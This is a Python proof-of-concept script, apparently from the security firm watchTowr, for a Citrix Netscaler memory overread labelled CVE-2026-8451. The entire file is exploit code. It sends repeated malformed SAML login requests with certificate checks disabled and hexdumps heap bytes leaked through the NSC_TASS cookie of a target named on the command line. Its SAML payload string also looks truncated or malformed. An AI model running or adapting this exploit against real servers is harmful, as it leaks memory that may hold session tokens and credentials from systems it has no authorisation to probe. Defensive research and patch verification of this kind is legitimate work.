import argparse
import base64
import requests
import ssl
from requests.adapters import HTTPAdapter
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-Netscaler-CVE-2026-8451.py
(*) CVE-2026-8451 Citrix Netscaler memory overread Detection Artifact Generator
- Aliz (@alizTheHax0r) of watchTowr (@watchTowrcyber)
"""
# Some netscalers have cipers that Python/openssl doesn't use by default, so add them.
# https://stackoverflow.com/questions/76966914/how-to-set-default-ciphers-for-python-requests-library-when-using-urllib3-ver
class CustomSSLAdapter(HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
ssl_context = ssl.create_default_context()
ssl_context.set_ciphers('DEFAULT@SECLEVEL=1')
ssl_context.check_hostname = False
# See urllib3.poolmanager.SSL_KEYWORDS for all available keys.
kwargs["ssl_context"] = ssl_context
return super().init_poolmanager(*args, **kwargs)
# Print some bytes in a nice hexdump
# https://stackoverflow.com/questions/25005505/pythonic-way-to-hex-dump-files
def hexdump(data: bytes):
def to_printable_ascii(byte):
return chr(byte) if 32 <= byte <= 126 else "."
offset = 0
while offset < len(data):
chunk = data[offset : offset + 16]
hex_values = " ".join(f"{byte:02x}" for byte in chunk)
ascii_values = "".join(to_printable_ascii(byte) for byte in chunk)
print(f"{offset:08x} {hex_values:<48} |{ascii_values}|")
offset += 16
def attack(target: str):
sess = requests.Session()
sess.mount('https://', CustomSSLAdapter())
# Vary the size of the memory allocation to make sure we get a variety of heap blocks
for n in range(1024, 1, -1):
samlReq = """watchTowr
Version="2.0"
AssertionConsumerServiceURL="""
samlReqB64 = base64.b64encode(samlReq.encode())
samlReqURL = ''.join(map(lambda x: f"%{x:02x}", samlReqB64))
resp = sess.post(f'{target}/saml/login', data={"SAMLRequest": samlReqURL}, verify=False, allow_redirects=False)
resp.raise_for_status()
tassCookie = resp.cookies.get('NSC_TASS', None)
if tassCookie is not None:
tassCookieBytes = base64.b64decode(tassCookie)
leakedBytes = tassCookieBytes[tassCookieBytes.find(b"ACSURL=") + 7:]
if len(leakedBytes) > 0:
print("Leaked bytes:")
hexdump(leakedBytes)
if __name__ == "__main__":
print(banner)
usage = """python3 watchTowr-vs-Netscaler-CVE-2026-8451.py
"""
parser = argparse.ArgumentParser(description='CVE-2026-8451 Citrix Netscaler Detection Artifact Generator', usage=usage)
parser.add_argument('target', type=str, help='Host, eg. "https://192.168.1.1:8000"')
args = parser.parse_args()
target = args.target
attack(target)